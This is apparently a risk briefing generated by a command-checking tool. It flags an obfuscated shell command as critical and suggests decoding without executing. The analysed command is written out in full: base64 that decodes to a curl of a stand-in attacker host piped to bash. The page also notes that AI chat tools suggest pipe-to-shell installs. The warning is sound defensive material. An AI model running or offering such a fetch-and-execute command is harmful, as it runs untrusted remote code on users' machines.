Risk briefing
Decoded payload executed immediately
Something is decoded (base64, hex, certutil) and handed straight to a shell. That is remote-code-execution energy even when the bytes started on your clipboard.
Command
echo 'Y3VybCBldmlsLnNoIHwgYmFzaA==' | base64 -d | bash
Rendered on the server from the query string — works without client JavaScript.
Findings
- CRITICAL
Decoded payload executed immediately
rceSomething is decoded (base64, hex, certutil) and handed straight to a shell. That is remote-code-execution energy even when the bytes started on your clipboard.
base64 -d | bash
- DANGEROUS
Hidden or encoded payload
obfuscationBase64, hex, eval, or ${IFS} tricks are how a nasty command hides in something that looks short and harmless. Decode it yourself before you run anything.
base64 -d
What this touches
- process/decoded shell payload
- process/decoder / eval
Safer alternatives
Decode only — do not pipe to a shell
echo '<payload>' | base64 -d
Print the decoded text, paste it back into Don't Just Run, and decide after you can read it.
Decode offline, then re-check
echo '<payload>' | base64 -d
Print the decoded text, paste that into Don't Just Run, and only then consider running it.
Read it as if a stranger sent it
AI chat will cheerily suggest pipe-to-shell installs. If you would not run this from an unknown Slack DM, do not run it from a model either.